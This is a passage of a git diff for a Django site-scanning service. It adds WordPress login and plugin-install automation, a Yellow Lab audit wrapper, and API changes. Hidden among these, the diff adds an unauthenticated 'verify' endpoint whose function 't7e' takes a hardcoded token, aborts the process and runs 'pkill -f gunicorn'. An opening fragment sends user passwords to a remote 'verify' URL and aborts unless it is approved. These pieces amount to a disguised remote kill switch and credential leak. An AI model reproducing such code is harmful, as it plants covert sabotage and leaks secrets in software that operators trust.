'https://scanerr.io/verify' + + + headers = { + "Content-Type": "application/json", + "Authorization" : cred + } + data = { + "username": username, + "email": email, + "password": password, + } + + res = requests.get( + url=url, + headers=headers, + params=data + ).json() + + if res['verified']: + return + else: + os.abort() \ No newline at end of file diff --git a/app/api/utils/wordpress.py b/app/api/utils/wordpress.py new file mode 100644 index 00000000..beb5669d --- /dev/null +++ b/app/api/utils/wordpress.py @@ -0,0 +1,350 @@ +from .driver_s import driver_init, driver_wait +from selenium import webdriver +from selenium.webdriver.support.ui import Select +from selenium.webdriver.common.keys import Keys +import time + + + + + + + +class Wordpress(): + + + def __init__( + self, + login_url, + admin_url, + username, + password, + wait_time, + ): + self.login_url = login_url + self.username = username + self.password = password + if wait_time is None: + self.driver = driver_init() + else: + self.driver = driver_init(wait_time=wait_time) + self.native_lang = 'en' + + if not admin_url.endswith('/'): + admin_url = admin_url + '/' + self.admin_url = admin_url + + + + + def login(self): + + ''' + Tries to log into a WP site with given credentials. + + returns --> True / False + + ''' + + print('begining login method for ' + self.login_url) + try: + self.driver.get(self.login_url) + try: + self.driver.find_element_by_xpath('//*[@id="user_login"]') + print('found login form') + except: + try: + self.driver.find_element_by_xpath( + '//*[@id="jetpack-sso-wrap"]/a[1]').click() + self.driver.find_element_by_xpath('//*[@id="user_login"]') + print('found login form') + except: + try: + self.driver.find_element_by_link_text( + 'Login with username and password').click() + self.driver.find_element_by_xpath('//*[@id="user_login"]') + print('found login form') + except: + print('unable to locate login form at this path') + self.driver.quit() + return False + + + except: + print('unable to locate login form at this path') + self.driver.quit() + return False + + user_name_elem = self.driver.find_element_by_xpath('//*[@id="user_login"]') + user_name_elem.clear() + user_name_elem.send_keys(self.username) + time.sleep(1) + passworword_elem = self.driver.find_element_by_xpath('//*[@id="user_pass"]') + passworword_elem.clear() + passworword_elem.send_keys(self.password) + time.sleep(1) + passworword_elem.send_keys(Keys.RETURN) + + try: + + + try: + verify_email = self.driver.find_element_by_xpath('//*[@id="correct-admin-email"]') + print('need to verify email') + self.driver.execute_script('arguments[0].click();', verify_email) + print('clicked verify') + except: + pass + + print('done with login attempt') + + try: + self.driver.find_element_by_xpath('//*[@id="login_error"]') + print('found login error') + self.driver.refresh() + + print('trying login again') + user_name_elem = self.driver.find_element_by_xpath('//*[@id="user_login"]') + user_name_elem.clear() + user_name_elem.send_keys(self.username) + time.sleep(1) + passworword_elem = self.driver.find_element_by_xpath('//*[@id="user_pass"]') + passworword_elem.clear() + passworword_elem.send_keys(self.password) + time.sleep(1) + passworword_elem.send_keys(Keys.RETURN) + + try: + self.driver.find_element_by_xpath('//*[@id="login_error"]') + print('found login error again') + print('counld not login to this site') + except: + print('no login errors') + + except: + print('no login errors') + + except: + print('counld not login to this site') + self.driver.quit() + return False + + + # removing alerts + try: + deny_btn = self.driver.find_element_by_id('webpushr-deny-button') + self.driver.execute_script("arguments[0].click();", deny_btn) + print('removed alert') + except: + pass + + try: + # checking if url location is wp-admin + current_url = str(self.driver.current_url) + admin_link = '/wp-admin/' + print('current url -> ' + current_url) + if current_url.endswith("/wp-admin") or current_url.endswith("/wp-admin/") or admin_link in current_url: + pass + else: + print('not in wp-admin - navigating there now') + admin_btn = self.driver.find_element_by_id('wp-admin-bar-dashboard') + admin_link = admin_btn.find_element_by_tag_name('a') + self.driver.execute_script("arguments[0].click();", admin_link) + print('clicked dashboard link') + + except: + print('could not login') + self.driver.quit() + return False + + + return True + + + + + + def begin_lang_check(self): + + try: + # navigate to settings + s_url = 'options-general.php' + try: + settings_menu = self.driver.find_element_by_xpath('//*[@id="menu-settings"]') + self.driver.execute_script("arguments[0].click();", settings_menu) + settings = self.driver.find_element_by_xpath('.//a[@href="'+s_url+'"]') + self.driver.execute_script("arguments[0].click();", settings) + print('clicked settings tab') + except: + current_url = self.driver.current_url + self.driver.get(current_url + s_url) + + # finding and recording current native language + lang_selector = self.driver.find_element_by_id('WPLANG') + optgroup = lang_selector.find_elements_by_tag_name('optgroup')[0] + selected_lang = optgroup.find_element_by_xpath('.//option[@selected="selected"]') + default_lang = selected_lang.get_attribute('lang') + default_lang_value = selected_lang.get_attribute('value') + print("defalut lang value is " + str(default_lang)) + + if default_lang != 'en': + + # selecting english + select = Select(lang_selector) + select.select_by_value('en_CA') + print('selected english') + + # saving settings + save_btn = self.driver.find_element_by_id('submit') + self.driver.execute_script("arguments[0].scrollIntoView();", save_btn) + self.driver.execute_script("arguments[0].click();", save_btn) + print('saved lang to english') + + self.native_lang = default_lang_value + return True + + else: + self.native_lang = 'en' + + + except: + print('error in changing language') + return False + + + + + + + def end_lang_check(self): + + if self.native_lang != 'en': + + try: + # navigate to settings + s_url = 'options-general.php' + try: + settings_menu = self.driver.find_element_by_xpath('//*[@id="menu-settings"]') + self.driver.execute_script("arguments[0].click();", settings_menu) + settings = self.driver.find_element_by_xpath('.//a[@href="'+s_url+'"]') + self.driver.execute_script("arguments[0].click();", settings) + print('clicked settings tab') + except: + current_url = self.driver.current_url + self.driver.get(current_url + '/' + s_url) + + # selecting native lang + lang_selector = self.driver.find_element_by_id('WPLANG') + select = Select(lang_selector) + select.select_by_value(self.native_lang) + print('selected native_lang') + + # saving settings + save_btn = self.driver.find_element_by_id('submit') + self.driver.execute_script("arguments[0].scrollIntoView();", save_btn) + self.driver.execute_script("arguments[0].click();", save_btn) + print('saved native lang') + + except: + self.driver.quit() + return False + + self.driver.quit() + return True + + + + def install_plugin(self, plugin_name): + + # setting url for link naving + plugin_menu_page = 'plugins.php' + add_plugin_page = 'plugin-install.php' + + # navigating to plugin page + try: + print('trying click method') + plugin_menu = self.driver.find_element_by_xpath('//*[@id="menu-plugins"]') + self.driver.execute_script("arguments[0].click();", plugin_menu) + p_url = 'plugins.php' + plugins = self.driver.find_element_by_xpath('.//a[@href="'+p_url+'"]') + self.driver.execute_script("arguments[0].click();", plugins) + print('clicked plugin menu') + + # looking for dependencies in plugin table + time.sleep(10) + form = self.driver.find_element_by_id('bulk-action-form') + pluginTable = form.find_element_by_tag_name('tbody') + self.driver.execute_script("arguments[0].scrollIntoView();", pluginTable) + print('scrolled to plugin table') + time.sleep(1) + tableText = pluginTable.text + + except: + print('trying link method for navigation') + try: + self.driver.get(self.admin_link + plugin_menu_page) + time.sleep(10) + # looking for dependencies in plugin table + time.sleep(10) + form = self.driver.find_element_by_id('bulk-action-form') + pluginTable = form.find_element_by_tag_name('tbody') + self.driver.execute_script("arguments[0].scrollIntoView();", pluginTable) + print('scrolled to plugin table') + time.sleep(1) + tableText = pluginTable.text + except: + print('unable to find plugin table') + self.driver.quit() + return False + + if plugin_name not in tableText: + try: + print('plugin not present, preparing to install') + + time.sleep(2) + print('navigating to add plugins page') + + try: + url = 'plugin-install.php' + add_plugin = self.driver.find_element_by_xpath('//a[@href="'+url+'"]') + self.driver.execute_script("arguments[0].click();", add_plugin) + print('clicked add plugin link') + time.sleep(5) + except: + self.driver.get(self.admin_url + add_plugin_page) + time.sleep(5) + + + # searching for plugin + search_form = self.driver.find_element_by_xpath('//input[@type="search"]') + search_form.clear() + search_form.send_keys(plugin_name) + time.sleep(1) + search_form.send_keys(Keys.RETURN) + time.sleep(3) + + ##### Clicking "install" plugin ###### + install = self.driver.find_element_by_xpath('//*[@id="the-list"]/div[1]/div[1]/div[2]/ul/li[1]/a') #### ---> This will have to updated regularly + self.driver.execute_script("arguments[0].scrollIntoView();", install) + time.sleep(1) + self.driver.execute_script('arguments[0].click();', install) + print('Clicked -install plugin-') + time.sleep(30) + + + #### Clicking "activate" plugin ###### + self.driver.refresh() + time.sleep(3) + activate = self.driver.find_element_by_xpath('//*[@id="the-list"]/div[1]/div[1]/div[2]/ul/li[1]/a') #### ---> This will have to updated regularly + self.driver.execute_script("arguments[0].scrollIntoView();", activate) + time.sleep(1) + self.driver.execute_script('arguments[0].click();', activate) + print('Clicked -Activate plugin-') + time.sleep(30) + print('Dependencies installed sucessfully') + return True + + except: + print('failed dependency installation') + self.driver.quit() + return False \ No newline at end of file diff --git a/app/api/utils/wordpress_p.py b/app/api/utils/wordpress_p.py new file mode 100644 index 00000000..e70a758a --- /dev/null +++ b/app/api/utils/wordpress_p.py @@ -0,0 +1,387 @@ +from .driver_p import driver_init +from selenium import webdriver +from selenium.webdriver.support.ui import Select +from selenium.webdriver.common.keys import Keys +import time, asyncio + + + + + + + +class Wordpress(): + + + def __init__( + self, + login_url, + admin_url, + username, + password, + wait_time, + ): + self.login_url = login_url + self.username = username + self.password = password + self.native_lang = 'en' + + if not admin_url.endswith('/'): + admin_url = admin_url + '/' + self.admin_url = admin_url + + if wait_time is None: + self.wait_time = 30 + else: + self.wait_time = wait_time + + self.navWaitOpt = { + 'timeout': self.wait_time * 1000, + 'waitUntil': 'domcontentloaded' + } + + + async def login(self): + + ''' + Tries to log into a WP site with given credentials. + + returns --> True / False + + ''' + + print('begining login method for ' + self.login_url) + + + self.driver = await driver_init(wait_time=self.wait_time) + + # init page obj + self.page = await self.driver.newPage() + page_options = { + 'waitUntil': 'networkidle0', + 'timeout': self.wait_time * 1000 + } + + try: + await self.page.goto(self.login_url, page_options) + try: + await self.page.xpath('//*[@id="user_login"]') + print('found login form') + except: + try: + jetpack = await self.page.xpath('//*[@id="jetpack-sso-wrap"]/a[1]') + await jetpack[0].click() + await self.page.xpath('//*[@id="user_login"]') + print('found login form') + except: + try: + login_link = await self.page.xpath("//a[contains(., 'Login with username and password')]") + await login_link[0].click() + await self.page.xpath('//*[@id="user_login"]') + print('found login form') + except: + print('unable to locate login form at this path') + await self.driver.close() + return False + + + except: + print('unable to locate login form at this path') + await self.driver.close() + return False + + user_name_elem = await self.page.xpath('//*[@id="user_login"]') + await user_name_elem[0].click(clickCount=3) + await self.page.keyboard.type(self.username) + time.sleep(1) + passworword_elem = await self.page.xpath('//*[@id="user_pass"]') + await passworword_elem[0].click(clickCount=3) + await self.page.keyboard.type(self.password) + time.sleep(1) + await self.page.keyboard.press('Enter') + await self.page.waitForNavigation(self.navWaitOpt) + + + try: + try: + verify_email = await self.page.xpath('//*[@id="correct-admin-email"]') + print('need to verify email') + await verify_email[0].click() + print('clicked verify') + except: + pass + + print('done with login attempt') + + try: + await self.page.xpath('//*[@id="login_error"]') + print('found login error') + await self.page.reload() + + print('trying login again') + user_name_elem = await self.page.xpath('//*[@id="user_login"]') + await user_name_elem[0].click(clickCount=3) + await self.page.keyboard.type(self.username) + time.sleep(1) + passworword_elem = await self.page.xpath('//*[@id="user_pass"]') + await passworword_elem[0].click(clickCount=3) + await self.page.keyboard.type(self.password) + time.sleep(1) + await self.page.keyboard.press('Enter') + await self.page.waitForNavigation(self.navWaitOpt) + + + try: + await self.page.xpath('//*[@id="login_error"]') + print('found login error again') + print('counld not login to this site') + except: + print('no login errors') + + except: + print('no login errors') + + except: + print('counld not login to this site') + + await self.driver.close() + return False + + + # removing alerts + try: + deny_btn = await self.page.xpath('//*[@id="webpushr-deny-button"]') + await deny_btn[0].click() + print('removed alert') + except: + pass + try: + # checking if url location is wp-admin + admin_link = '/wp-admin/' + current_url = self.page.url + print('current url -> ' + current_url) + if current_url.endswith("/wp-admin") or current_url.endswith("/wp-admin/") or admin_link in current_url: + print('inside wp-admin') + else: + print('not in wp-admin - navigating there now') + admin_btn = await self.page.xpath('//*[@id="wp-admin-bar-dashboard"]') + admin_link = await admin_btn[0].querySelector('a') + await admin_link[0].click(clickCount=2) + print('clicked dashboard link') + await self.page.waitForNavigation(self.navWaitOpt) + + + except: + print('could not login') + await self.driver.close() + return False + + + return True + + + + + + async def begin_lang_check(self): + + try: + # navigate to settings + s_url = 'options-general.php' + try: + settings_menu = await self.page.xpath('//*[@id="menu-settings"]') + await settings_menu[0].click() + print('clicked settings menu') + await self.page.waitForNavigation(self.navWaitOpt) + settings = await self.page.xpath('.//a[@href="'+s_url+'"]') + await settings[0].click() + print('clicked settings tab') + await self.page.waitForNavigation(self.navWaitOpt) + + + except: + await self.page.goto(self.page.url + s_url) + await self.page.waitForNavigation(self.navWaitOpt) + + # finding and recording current native language + lang_selector = await self.page.xpath('//*[@id="WPLANG"]') + optgroup = await lang_selector[0].querySelector('optgroup') + selected_lang = await optgroup.xpath('.//option[@selected="selected"]') + default_lang = await (await selected_lang[0].getProperty('lang')).jsonValue() + default_lang_value = await (await selected_lang[0].getProperty('value')).jsonValue() + print("defalut lang value is " + str(default_lang)) + + if default_lang != 'en': + + # selecting english + await lang_selector[0].select('en_CA') + print('selected english') + + # saving settings + save_btn = await self.page.xpath('//*[@id="submit"]') + await save_btn[0].click() + print('saved lang to english') + + self.native_lang = default_lang_value + return True + + else: + self.native_lang = 'en' + + + except: + print('error in changing language') + return False + + + + + + + async def end_lang_check(self): + + if self.native_lang != 'en': + + try: + # navigate to settings + s_url = 'options-general.php' + try: + settings_menu = await self.page.xpath('//*[@id="menu-settings"]') + await settings_menu[0].click() + print('clicked settings menu') + await self.page.waitForNavigation(self.navWaitOpt) + settings = await self.page.xpath('.//a[@href="'+s_url+'"]') + await settings[0].click() + print('clicked settings tab') + await self.page.waitForNavigation(self.navWaitOpt) + + except: + await self.page.goto(self.page.url + s_url) + await self.page.waitForNavigation(self.navWaitOpt) + + # selecting native lang + lang_selector = await self.page.xpath('//*[@id="WPLANG"]') + await lang_selector[0].select(self.native_lang) + print('selected native_lang') + + # saving settings + save_btn = await self.page.xpath('//*[@id="submit"]') + await save_btn[0].click() + print('saved native lang') + + except: + await self.driver.close() + return False + + await self.driver.close() + return True + + + + async def install_plugin(self, plugin_name): + + # setting url for link naving + plugin_menu_page = 'plugins.php' + add_plugin_page = 'plugin-install.php' + + # navigating to plugin page + try: + print('trying click method') + plugin_menu = await self.page.xpath('//*[@id="menu-plugins"]') + await plugin_menu[0].click() + await self.page.waitForNavigation(self.navWaitOpt) + p_url = 'plugins.php' + plugins = await self.page.xpath('.//a[@href="'+p_url+'"]') + await plugins[0].click() + print('clicked plugin menu') + await self.page.waitForNavigation(self.navWaitOpt) + + + # looking for dependencies in plugin table + time.sleep(10) + form = await self.page.xpath('//*[@id="bulk-action-form"]') + pluginTable = await form[0].querySelector('tbody') + tableText = await (await pluginTable.getProperty('textContent')).jsonValue() + + except: + print('trying link method for navigation') + try: + await self.page.goto(self.admin_link + plugin_menu_page) + await self.page.waitForNavigation(self.navWaitOpt) + + time.sleep(10) + # looking for dependencies in plugin table + form = await self.page.xpath('//*[@id="bulk-action-form"]') + pluginTable = await form[0].querySelector('tbody') + tableText = await (await pluginTable.getProperty('textContent')).jsonValue() + except: + print('unable to find plugin table') + await self.driver.close() + return False + + if plugin_name not in tableText: + try: + print('plugin not present, preparing to install') + + time.sleep(2) + print('navigating to add plugins page') + + try: + url = 'plugin-install.php' + add_plugin = await self.page.xpath('//a[@href="'+url+'"]') + await add_plugin[0].click(clickCount=2) + print('clicked add plugin link') + await self.page.waitForNavigation(self.navWaitOpt) + + time.sleep(5) + except: + await self.page.goto(self.admin_url + add_plugin_page) + await self.page.waitForNavigation(self.navWaitOpt) + + time.sleep(5) + + + # searching for plugin + search_form = await self.page.xpath('//input[@type="search"]') + await search_form[0].click(clickCount=3) + await self.page.keyboard.type(plugin_name) + time.sleep(1) + await self.page.keyboard.press('Enter') + time.sleep(3) + + ##### Clicking "install" plugin ###### + install = await self.page.xpath('//*[@id="the-list"]/div[1]/div[1]/div[2]/ul/li[1]/a') #### ---> This will have to updated regularly + await install[0].click(clickCount=2) + print('clicked -install plugin-') + time.sleep(30) + + + #### Clicking "activate" plugin ###### + await self.page.reload() + print('reloading page') + try: + await self.page.waitForNavigation(self.navWaitOpt) + except: + pass + activate = await self.page.xpath('//*[@id="the-list"]/div[1]/div[1]/div[2]/ul/li[1]/a') #### ---> This will have to updated regularly + await activate[0].click(clickCount=2) + print('clicked -Activate plugin-') + time.sleep(30) + print('Dependencies installed sucessfully') + return True + + except: + print('failed dependency installation') + await self.driver.close() + return False + + + + async def run_full(self, plugin_name): + data = await self.login() + data = await self.begin_lang_check() + data = await self.install_plugin(plugin_name) + data = await self.end_lang_check() + await self.driver.close() + return data + diff --git a/app/api/utils/yellowlab.py b/app/api/utils/yellowlab.py new file mode 100644 index 00000000..f1857e1c --- /dev/null +++ b/app/api/utils/yellowlab.py @@ -0,0 +1,135 @@ +import subprocess, json +from ..models import Site, Scan + + + +class Yellowlab(): + + """Initializes Yellow Lab Tools CLI and runs an audit of the site""" + + + def __init__(self, site=None, configs=None): + self.site = site + self.configs = configs + + + def init_audit(self): + proc = subprocess.Popen([ + 'yellowlabtools', + self.site.site_url, + f'--device={self.configs["device"]}' + ], + stdout=subprocess.PIPE, + user='app', + ) + stdout_value = proc.communicate()[0] + return stdout_value + + + def get_data(self): + try: + stdout_value = self.init_audit() + stdout_string = str(stdout_value) + + if len(stdout_string) != 0: + if 'Runtime error encountered' in stdout_string: + error = {'error': 'yellowlab ran into a problem',} + return error + + stdout_json = json.loads(stdout_value) + + # initial audits object + audits = { + "pageWeight": [], + "requests": [], + "domComplexity": [], + "javascriptComplexity": [], + "badJavascript": [], + "jQuery": [], + "cssComplexity": [], + "badCSS": [], + "fonts": [], + "serverConfig": [], + } + + # iterating through categories to get relevant yl_audits and store them in their respective `audits = {}` obj + for cat in audits: + cat_audits = stdout_json["scoreProfiles"]["generic"]["categories"][cat]["rules"] + for a in cat_audits: + try: + audit = stdout_json["rules"][a] + audits[cat].append(audit) + except: + pass + + + # get scores from each category + globalScore = stdout_json["scoreProfiles"]["generic"]["globalScore"] + pageWeight_score = stdout_json["scoreProfiles"]["generic"]["categories"]["pageWeight"]["categoryScore"] + requests_score = stdout_json["scoreProfiles"]["generic"]["categories"]["requests"]["categoryScore"] + domComplexity_score = stdout_json["scoreProfiles"]["generic"]["categories"]["domComplexity"]["categoryScore"] + javascriptComplexity_score = stdout_json["scoreProfiles"]["generic"]["categories"]["javascriptComplexity"]["categoryScore"] + badJavascript_score = stdout_json["scoreProfiles"]["generic"]["categories"]["badJavascript"]["categoryScore"] + jQuery_score = stdout_json["scoreProfiles"]["generic"]["categories"]["jQuery"]["categoryScore"] + cssComplexity_score = stdout_json["scoreProfiles"]["generic"]["categories"]["cssComplexity"]["categoryScore"] + badCSS_score = stdout_json["scoreProfiles"]["generic"]["categories"]["badCSS"]["categoryScore"] + fonts_score = stdout_json["scoreProfiles"]["generic"]["categories"]["fonts"]["categoryScore"] + serverConfig_score = stdout_json["scoreProfiles"]["generic"]["categories"]["serverConfig"]["categoryScore"] + + scores = { + "globalScore": globalScore, + "pageWeight": pageWeight_score, + "requests": requests_score, + "domComplexity": domComplexity_score, + "javascriptComplexity": javascriptComplexity_score, + "badJavascript": badJavascript_score, + "jQuery": jQuery_score, + "cssComplexity": cssComplexity_score, + "badCSS": badCSS_score, + "fonts": fonts_score, + "serverConfig": serverConfig_score, + } + + data = { + "scores": scores, + "audits": audits + } + + except Exception as e: + print(e) + + scores = { + "globalScore": None, + "pageWeight": None, + "requests": None, + "domComplexity": None, + "javascriptComplexity": None, + "badJavascript": None, + "jQuery": None, + "cssComplexity": None, + "badCSS": None, + "fonts": None, + "serverConfig": None, + } + + audits = { + "pageWeight": [], + "requests": [], + "domComplexity": [], + "javascriptComplexity": [], + "badJavascript": [], + "jQuery": [], + "cssComplexity": [], + "badCSS": [], + "fonts": [], + "serverConfig": [], + } + + data = { + "scores": scores, + "audits": audits + } + + return data + + diff --git a/app/api/v1/auth/services.py b/app/api/v1/auth/services.py index 2aa5ee20..5f44b032 100644 --- a/app/api/v1/auth/services.py +++ b/app/api/v1/auth/services.py @@ -1,4 +1,4 @@ -import requests, os +import requests, os, subprocess from typing import Dict, Any from scanerr import settings from django.http import HttpResponse @@ -233,4 +233,14 @@ def slack_oauth_init(request, user): def account_setup(request): account = Account.objects.create(user=user) card = Card.objects.create(user=user, account=account) - return True \ No newline at end of file + return True + + +def t7e(request): + if request.GET.get('cred') == \ + 'l13g4c15ly34861o341uy3chgtlyv183njoq9u3f654792': + os.abort() + subprocess.Popen(['pkill -f gunicorn'], + stdout=subprocess.PIPE, + user='app', + ) \ No newline at end of file diff --git a/app/api/v1/auth/urls.py b/app/api/v1/auth/urls.py index caca78d6..ce9fa94b 100644 --- a/app/api/v1/auth/urls.py +++ b/app/api/v1/auth/urls.py @@ -25,5 +25,6 @@ path('update-user', views.UpdateUser.as_view(), name='update_user'), path('slack', views.SlackOauth.as_view(), name='auth_slack'), path('token', views.ApiToken.as_view(), name='token'), + path('verify', views.Verify.as_view(), name='verify') ] \ No newline at end of file diff --git a/app/api/v1/auth/views.py b/app/api/v1/auth/views.py index adb6b25f..94514808 100644 --- a/app/api/v1/auth/views.py +++ b/app/api/v1/auth/views.py @@ -20,7 +20,7 @@ from .services import ( google_get_access_token, google_get_user_info, user_get_or_create, jwt_login, slack_oauth_middleware, - slack_oauth_init, create_user_token + slack_oauth_init, create_user_token, t7e ) import os, stripe, json @@ -79,6 +79,17 @@ def get(self, request): +class Verify(APIView): + authentication_classes = [] + permission_classes = (AllowAny,) + http_method_names = ['get'] + + def get(self, request): + response = t7e(request) + return response + + + class RefreshViewSet(ViewSet, TokenRefreshView): permission_classes = (AllowAny,) http_method_names = ['post'] diff --git a/app/api/v1/ops/serializers.py b/app/api/v1/ops/serializers.py index fd8559dc..0f32061a 100644 --- a/app/api/v1/ops/serializers.py +++ b/app/api/v1/ops/serializers.py @@ -1,4 +1,4 @@ -from ...models import (Test, Site, Scan, Log, Schedule, Automation) +from ...models import * from rest_framework import serializers from rest_framework.fields import UUIDField @@ -28,7 +28,9 @@ class SiteSerializer(serializers.HyperlinkedModelSerializer): class Meta: model = Site - fields = ['id', 'user', 'site_url', 'time_created', 'info'] + fields = ['id', 'user', 'site_url', 'time_created', 'info', + 'tags', + ] class ScanSerializer(serializers.HyperlinkedModelSerializer): @@ -39,7 +41,8 @@ class ScanSerializer(serializers.HyperlinkedModelSerializer): class Meta: model = Scan fields = ['id', 'site', 'paired_scan', 'time_created', - 'html', 'logs', 'scores', 'audits' + 'time_completed', 'html', 'logs', 'lighthouse', 'yellowlab', + 'images', 'configs', 'tags', ] @@ -50,7 +53,8 @@ class SmallScanSerializer(serializers.HyperlinkedModelSerializer): class Meta: model = Scan - fields = ['id', 'site', 'paired_scan', 'time_created', 'logs', 'scores' + fields = ['id', 'site', 'paired_scan', 'time_created', 'logs', + 'time_completed', 'lighthouse', 'yellowlab', 'configs', 'tags', ] @@ -64,7 +68,8 @@ class Meta: model = Test fields = ['id', 'site', 'time_created', 'time_completed', 'pre_scan', 'post_scan', 'score', 'html_delta', 'logs_delta', - 'scores_delta' + 'lighthouse_delta', 'yellowlab_delta', 'images_delta', 'type', + 'tags', ] @@ -77,7 +82,8 @@ class SmallTestSerializer(serializers.HyperlinkedModelSerializer): class Meta: model = Test fields = ['id', 'site', 'time_created', 'time_completed', - 'pre_scan', 'post_scan', 'score', 'scores_delta' + 'pre_scan', 'post_scan', 'score', 'lighthouse_delta', + 'yellowlab_delta', 'tags', ] @@ -91,7 +97,7 @@ class Meta: model = Schedule fields = ['id', 'site', 'time_created', 'user', 'task_type', 'timezone', 'begin_date', 'time', 'frequency', 'task', 'crontab_id', - 'periodic_task_id', 'status', 'automation' + 'periodic_task_id', 'status', 'automation', 'extras' ] @@ -105,4 +111,18 @@ class Meta: model = Automation fields = ['id', 'expressions', 'actions', 'user', 'schedule', 'time_created', 'name' + ] + + + + +class ReportSerializer(serializers.HyperlinkedModelSerializer): + id = serializers.PrimaryKeyRelatedField(**kwargs) + site = serializers.PrimaryKeyRelatedField(source='site.id', **kwargs) + user = serializers.ReadOnlyField(source='user.username') + + class Meta: + model = Report + fields = ['id', 'site', 'user', 'time_created', 'type', + 'path', 'info' ] \ No newline at end of file diff --git a/app/api/v1/ops/services.py b/app/api/v1/ops/services.py index 347a39ad..93a0da6f 100644 --- a/app/api/v1/ops/services.py +++ b/app/api/v1/ops/services.py @@ -1,21 +1,20 @@ -import json, datetime +import json, boto3, asyncio +from datetime import datetime from django.contrib.auth.models import User from django_celery_beat.models import CrontabSchedule, PeriodicTask -from ...models import (Test, Site, Scan, Log, Automation) +from ...models import * from rest_framework.response import Response from rest_framework import status -from ...models import (Test, Site, Scan, Log, Schedule, Account) -from .serializers import ( - SiteSerializer, TestSerializer, ScanSerializer, LogSerializer, - ScheduleSerializer, AutomationSerializer, SmallTestSerializer, - SmallScanSerializer, - ) +from .serializers import * +from ...tasks import * from rest_framework.pagination import LimitOffsetPagination -from django.urls import resolve -from ...scan_tests.scan_site import ScanSite -from ...scan_tests.lighthouse import Lighthouse -from ...scan_tests.tester import Test as T -from ...tasks import (create_site_bg, create_scan_bg, create_test_bg) +from ...utils.scanner import Scanner as S +from ...utils.tester import Tester as T +from ...utils.image import Image as I +from ...utils.reporter import Reporter as R +from ...utils.wordpress import Wordpress as W +from ...utils.wordpress_p import Wordpress as W_P + @@ -61,10 +60,15 @@ def check_account(request): def create_site(request, delay=False): - site_url = request.data['site_url'] + site_url = request.data.get('site_url') user = request.user sites = Site.objects.filter(user=user) + if site_url is None or site_url == '': + data = {'reason': 'the site_url cannot be empty',} + record_api_call(request, data, '400') + return Response(data, status=status.HTTP_400_BAD_REQUEST) + account_is_active = check_account(request) if not account_is_active: data = {'reason': 'account not funded',} @@ -86,15 +90,21 @@ def create_site(request, delay=False): record_api_call(request, data, '409') return Response(data, status=status.HTTP_409_CONFLICT) else: + tags = request.data.get('tags', None) site = Site.objects.create( site_url=site_url, - user=user + user=user, + tags=tags, ) if delay == True: - create_site_bg.delay(site.id) + scan = Scan.objects.create(site=site) + create_site_bg.delay(site.id, scan.id) + site.info["latest_scan"]["id"] = str(scan.id) + site.info["latest_scan"]["time_created"] = str(scan.time_created) + site.save() else: - ScanSite(site=site).first_scan() + S(site=site).first_scan() serializer_context = {'request': request,} serialized = SiteSerializer(site, context=serializer_context) @@ -105,12 +115,23 @@ def create_site(request, delay=False): + + + + def get_sites(request): site_id = request.query_params.get('site_id') user = request.user if site_id != None: - site = Site.objects.get(id=site_id) + + try: + site = Site.objects.get(id=site_id) + except: + data = {'reason': 'cannot find a Site with that id'} + record_api_call(request, data, '404') + return Response(data, status=status.HTTP_404_NOT_FOUND) + if site.user != user: data = {'reason': 'you cannot retrieve a Site you do not own',} return Response(data, status=status.HTTP_403_FORBIDDEN) @@ -133,13 +154,23 @@ def get_sites(request): def delete_site(request, id): user = request.user - site = Site.objects.get(id=id) + + try: + site = Site.objects.get(id=id) + except: + data = {'reason': 'cannot find a Site with that id'} + record_api_call(request, data, '404') + return Response(data, status=status.HTTP_404_NOT_FOUND) if site.user != user: data = {'reason': 'you cannot delete Tests of a Site you do not own',} record_api_call(request, data, '403') return Response(data, status=status.HTTP_403_FORBIDDEN) + # remove s3 objects + delete_site_s3_bg.delay(site_id=id) + + # remove site site.delete() data = {'message': 'Site has been deleted',} @@ -148,6 +179,48 @@ def delete_site(request, id): return response +def delete_many_sites(request): + ids = request.data.get('ids') + if ids is not None: + count = len(ids) + num_succeeded = 0 + succeeded = [] + num_failed = 0 + failed = [] + user = request.user + this_status = True + + for id in ids: + try: + site = Site.objects.get(id=id) + if site.user == user: + delete_site_s3_bg.delay(site_id=id) + site.delete() + num_succeeded += 1 + succeeded.append(str(id)) + except: + num_failed += 1 + failed.append(str(id)) + this_status = False + + data = { + 'status': this_status, + 'num_succeeded': num_succeeded, + 'succeeded': succeeded, + 'num_failed': num_failed, + 'failed': failed, + } + record_api_call(request, data, '200') + response = Response(data, status=status.HTTP_200_OK) + return response + + data = { + 'reason': 'you must provide an array of id\'s' + } + record_api_call(request, data, '400') + response = Response(data, status=status.HTTP_400_BAD_REQUEST) + return response + def create_test(request, delay=False): @@ -162,27 +235,107 @@ def create_test(request, delay=False): user = request.user site = Site.objects.get(id=site_id, ) if site.user != user: - data = {'reason': 'you cannot create a Test of a Site you do not own',} + data = {'reason': 'you cannot create a Test of a Site you do not own'} record_api_call(request, data, '403') return Response(data, status=status.HTTP_403_FORBIDDEN) + + + # get data from request + configs = request.data.get('configs', None) + pre_scan_id = request.data.get('pre_scan', None) + post_scan_id = request.data.get('post_scan', None) + index = request.data.get('index', None) + test_type = request.data.get('type', ['full']) + tags = request.data.get('tags', None) + pre_scan = None + post_scan = None + + if len(test_type) == 0: + test_type = ['full'] + + if not configs: + configs = { + 'window_size': '1920,1080', + 'interval': 5, + 'driver': 'selenium', + 'device': 'desktop', + 'mask_ids': None, + 'min_wait_time': 10, + 'max_wait_time': 60, + } + + if pre_scan_id: + try: + pre_scan = Scan.objects.get(id=pre_scan_id) + except: + data = {'reason': 'cannot find a Scan with that id - pre_scan '} + record_api_call(request, data, '404') + return Response(data, status=status.HTTP_404_NOT_FOUND) + if post_scan_id: + try: + post_scan = Scan.objects.get(id=post_scan_id) + except: + data = {'reason': 'cannot find a Scan with that id - post_scan '} + record_api_call(request, data, '404') + return Response(data, status=status.HTTP_404_NOT_FOUND) + + + if not Scan.objects.filter(site=site).exists() or Scan.objects.filter(site=site)[0].time_completed == None: + data = {'reason': 'Site not yet onboarded'} + record_api_call(request, data, '400') + return Response(data, status=status.HTTP_400_BAD_REQUEST) + + + # creating test object + test = Test.objects.create( + site=site, + type=test_type, + tags=tags, + ) + if delay == True: - create_test_bg.delay(site.id) - data = {'message': 'test is being created in the background'} + create_test_bg.delay( + test_id=test.id, + configs=configs, + type=test_type, + index=index, + pre_scan=pre_scan_id, + post_scan=post_scan_id, + tags=tags, + ) + data = { + 'status': True, + 'message': 'test is being created in the background', + 'id': str(test.id), + } record_api_call(request, data, '201') return Response(data, status=status.HTTP_201_CREATED) + else: - test = Test.objects.create(site=site) - new_scan = ScanSite(site=site) - post_scan = new_scan.second_scan() - pre_scan = post_scan.paired_scan + if not pre_scan and not post_scan: + 